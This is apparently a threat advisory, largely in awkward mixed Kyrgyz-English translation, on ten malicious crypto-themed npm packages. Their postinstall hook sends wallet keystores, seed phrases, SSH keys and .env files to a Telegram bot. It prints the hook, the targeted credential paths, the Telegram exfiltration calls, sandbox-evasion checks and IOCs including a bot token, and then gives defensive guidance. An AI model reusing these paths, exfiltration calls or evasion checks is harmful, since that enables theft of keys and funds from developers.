TL; DR
2026-жылдын 9-июнунда бир npm жарыялоочу аккаунту, aicrypto-xzgggжөнөтүлдү он таңгак крипто жана Web3 даамдуу аталыштар менен — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, жана дагы алты.
Ар бир пакет бир убактан баштап бирдей жүктү иштетет postinstall hook. On install, it checks
whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files,
SSH keys, and .env files from across six blockchain ecosystems and transmits them to a
Telegram bot.
Коргоочу дароо издей турган жалгыз индикатор - бул Telegram ботунун идентификатору 8227918239.
Даражасы: оор — direct theft of signing keys and recovery phrases from иштеп чыгуучунун жумуш станциялары.
Кол салуу: ал кантип иштейт
Пакеттер өздөрүн блокчейн иштеп чыгуучу утилиталары катары жарнамалашат. package.json минималдуу жана орнотуунун жашоо циклин скриптке багыттайт:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}скрипттер/постинстал.js чыныгы пайдалуу жүктү жүктөгөн бир саптуу шим болуп саналат: талап кылуу(“../src/index.js”). анткени орнотуудан кийинки учурунда автоматтык түрдө иштейт npm орнотуу, иштеп чыгуучу тарабынан код импорттоо талап кылынбайт — пакетти көз карандылык дарагына жайгаштыруу аны аткаруу үчүн жетиштүү.
Ичиндеги өлтүрүү чынжыры src/index.js төрт кадамдан турат:
- Айлана-чөйрөнү текшерүү. Коргоо функциясы хосттун курулуш агентине же анализ кумкоргонуна окшош экенин аныктайт.
- Кечиктирүү. Аткаруу кийинкиге калтырылды setTimeout болжол менен 7.4 секунд.
- Чогултуу. Капчыктын, ачкычтын жана жашыруун файл жолдорунун белгиленген тизмеси басылып чыгат; бар файлдар кезекке коюлат.
- Чыгаруу. Кезекке коюлган файлдар Telegram ботуна жөнөтүлөт, андан мурун кыскача билдирүү жөнөтүлөт.
Коллекциянын максаттуу тизмеси алты чынжырды жана жалпы иштеп чыгуучулардын сырларын камтыйт. Кыскартылган:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localЖалпысынан жыйырма бир жол. Каталог жазуулары, мисалы ~/.ethereum/ачкыч дүкөнү кеңейтилет жана ичиндеги ар бир файл кезекке коюлат. Эксфильтрация Telegram Bot API'син түздөн-түз колдонот — а билдирүү жөнөтүү хост жана файлдын кыскача баяндамасы менен чалыңыз, андан кийин Документ жөнөтүү ар бир файл үчүн көп бөлүктүү жүктөө:
текст
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Код чогултулган кыскача билдирүү түзмө-түз саптан башталат Крипто уурдоочу, андан кийин хосттун аталышы, колдонуучунун аты, баштапкы пакеттин аталышы, файлдардын саны жана убакыт белгиси.
Бул жерде эмне жаңылык бар
Айырмалоочу фактор уурулук механизми эмес — npmден алынган Telegram негизиндеги exfil орнотуудан кийинки hooks тебеленип турат. Бул аткаруу дарбазасы. Эч нерсе кылаардан мурун, пайдалуу жүктөмө хост CI чуркоочусуна же кумкоргонго окшош болгондо чындыкты кайтарган жана ал туура болгондо эрте кайтарган функцияны чакырат:
текст
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)container-id regexи эң маанилүү сүйлөм болуп саналат: 12 он алтылык символдон турган хост аты Docker дайындаган демейки форма. контейнер, ошондуктан пайдалуу жүктөм "менин хост атым Docker контейнерине окшош" дегенди иштебей калуунун себеби катары карайт. Жети секунддук кечигүү менен бирге, дизайн иштеп чыгуучунун чыныгы жумуш станциясында иштөөнү жана автоматташтырылган анализге окшош көрүнгөн жерде үнсүз калууну артык көрөт. Дал ушул дарбаза динамикалык анализ сигналдарын басып, статикалык exfil агымын негизги айыптоо далили катары сактап калган.
Timeline
| Дата (UTC) | окуя |
|---|---|
| 2026-06-09 ~02:48 | Кластердеги биринчи пакеттер жарыяланганда белгиленди (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Жогорку версиядагы мүчөлөр белгиленди (ethereum-kit-9 1.25.36, wallet-sdk-9 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Акыркы мүчөлөр белгиленди (defi-tools-39 4.26.29, swap-sdk-87 4.63.78, farming-tools-12 4.68.54) |
| 2026-06-09 | Бардык он зыяндуу деп классификацияланган жана реестрден алып салуу үчүн кабарланган |
Бардык он окуя болжол менен жетимиш мүнөттүн ичинде пайда болгон, бул бир аккаунттан бир гана сценарий боюнча жарыяланган окуяга дал келет.
Компромисс көрсөткүчтөрү
Тармак жана жүрүм-турумдук көрсөткүчтөр (хосттун дефангецияланган):
| көрсөткүч | маани |
|---|---|
| Exfil акыркы чекити | api[.]telegram[.]org (Telegram Bot API) |
| Telegram ботунун идентификатору | 8227918239 |
| Бот токени | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram чатынын идентификатору | 6433587894 |
| Илмек орнотуу | postinstall → scripts/postinstall.js → src/index.js |
| Маркер сап | CRYPTO STEALER чогултулган кыскача билдирүүдө |
| бастырып чыгаруучу адам | aicrypto-xzggg (көрсөтүлгөн электрондук почта vipsyria88@gmail[.]com, текшерилбеген) |
Пакеттер жана версиялар, ар бири өзүнүн SHA-256 менен src/index.js пайдалуу жүктөм (пайдалуу жүктөмдөр функционалдык жактан бирдей жана камтылган пакеттин аталышынын энбелгисинде гана айырмаланат, андыктан ар бир хэш ар башка):
| таңгак | версия | src/index.js файлынын SHA-256сы |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Жөнөкөй издөө суроосу: он аталыштын кайсынысы болбосун орнотуу журналдарын жана кулпу файлдарын издөө жана Telegram Bot API'сине туташууларды башкача колдонбогон куруучулар же иштеп чыгуучулар хостторунан издөө.
Атрибуция жана байкалган жүрүм-турум
Бардык он пакет бир аккаунт тарабынан жарыяланган, aicrypto-xzggg, көрсөтүлгөн электрондук почта дареги vipsyria88@gmail[.]comЭлектрондук почта да, булактан башкаруу шилтемеси да реестрдин метадайындарында текшерилген эмес жана аккаунттун бедели өтө терс. Аккаунтту ким иштетип жатканын тастыктай элекпиз.
Ар кандай инсандыкты аныктоо боюнча арыздан эки деталдарды бөлүп кароо керек. Биринчиден, package.json жазуучу талаа окуулары Alex Smith ар бир таңгак боюнча, ал эми чыныгы басма эсеби aicrypto-xzggg; автор талаасы өзүн-өзү жарыялаган метадайындар болуп саналат жана автордукту аныктабайт. Экинчиден, версия номерлери ар кандай — кээ бир мүчөлөр отурушат 1.0.0, башкалар 4.68.54 — бул чыныгы чыгарылыш тарыхын сактоонун ордуна, жаңы басылып чыккан пакеттердин аталыштарында бир пайдалуу жүктөмдү кайра колдонуу менен шайкеш келет.
Жүрүм-турум кластер боюнча бирдей: ошол эле максаттуу жол тизмеси, ошол эле Telegram бот идентификатору жана чат идентификатору, ошол эле чөйрө дарбазасы, ошол эле Крипто уурдоочу маркер. Ал бирдейлик пакеттердин ортосундагы эң күчтүү байланыш. Бул бир оператордун сигналы, идентификация эмес.
Коргоочулар үчүн таасир, тенденциялар жана көрсөтмөлөр
Экспозиция конкреттүү. Бул пакеттердин кайсынысын болбосун программалык камсыздоо капчыгын, үрөн фраза файлын же SSH ачкычын камтыган жумуш станциясына орноткон иштеп чыгуучу ал файлдарды бир нече секунданын ичинде окуп, хосттон өткөрүп берет. Калыбына келтирүү фразалары жана кол коюу ачкычтары сеанс токени сыяктуу мөөнөтүн жоготпойт; бир жолу мнемоникалык.txt же Солана id.json машинадан чыкканда, ал башкарган каражаттар жылдырылганга чейин коркунучта болот. Ошол эле чуркоо дагы басып алат .env файлдар, алар дайыма API ачкычтарын жана маалымат базасынын ишеним грамоталарын алып жүрөт.
Бул кластердин артында эки тенденция турат. Биринчиси, белгилүү бир аудиторияны — капчыктарды жана ачкычтарды көз карандылыкты орноткон бир эле машинада сактаган иштеп чыгуучуларды — өзүнө тартуу үчүн крипто жана Web3 темасындагы аталыштарды колдонууну улантуу. Экинчиси, орнотуу убактысындагы пайдалуу жүктөөлөрдө кумкоргондон качуунун жетилиши. CI чөйрөсүнүн өзгөрмөлөрүн, иштетүүчүнүн колдонуучу аттарын жана Docker контейнеринин идентификаторунун хост аталышынын формасын текшерген дарбаза — бул чыныгы жумуш станциясына караганда анализ учурунда башкача жүрүм-турумга багытталган атайылап жасалган аракет жана ал таза динамикалык аныктоо үчүн стандартты жогорулатат.
Коргоочулар үчүн:
Скрипттер демейки шартта өчүрүлгөн абалда орнотулсун. npm орнотуу –скрипттерди этибарга албоо, же орнотуңуз ignore-scripts=true in .npmrc, алдын алат орнотуудан кийинки аткаруу; скрипттерди чындап муктаж болгон белгилүү бир көз карандылыктар үчүн гана иштетүү.
Капчыктарды жана кол коюу ачкычтарын куруу жана иштеп чыгуу машиналарынан алыс кармаңыз. Аппараттык капчыкты же көз карандысыз, атайын кол коюу хостун колдонуңуз.
мамиле кылуу .env, ачкыч сактагычтар жана үрөн сөз айкаштары файлдары таажы асыл таштары катары колдонулушу мүмкүн. Алар эч качан ошондой эле бир каталогдо турбашы керек npm орнотуу иштеп жаткан дарак.
CI жана иштеп чыгуучу хосттордон Telegram Bot API'сине чыгуучу туташууларды издеңиз. Көпчүлүк куруу чөйрөлөрү аны эч качан чакырбайт; орнотуудан кийин дароо күтүүсүздөн пайда болгон туташууларды изилдөөгө арзыйт.
Көз карандылыктарды кадап, карап чыгыңыз. Жалпы крипто аталышы бар жаңы пакет, орнотуудан кийинки илмек, жана эч кандай репозиторий шилтемеси кулпу файлына кирерден мурун карап чыгууну талап кылбайт.
Container-id'ден баш тартуу жөнүндөгү жобо аналитиктер үчүн дагы бир эскертүү болуп саналат: орнотуу убактысындагы пайдалуу жүктөм кумкоргондо иштебей турган абалда калуусу зыянсыз эмес, ал тандалма. Орнотуу жолун статикалык карап чыгуу динамикалык аткаруу эмнени көрсөтүүдөн баш тартышы мүмкүн экенин көрүүнүн ишенимдүү жолу бойдон калууда.
шилтемелер
npm орнотуу документтери — жашоо циклинин скрипттери жана –Скрипттерге көңүл бурбаңыз— автоматтык орнотууну өчүрүү үчүн шилтеме hooks.







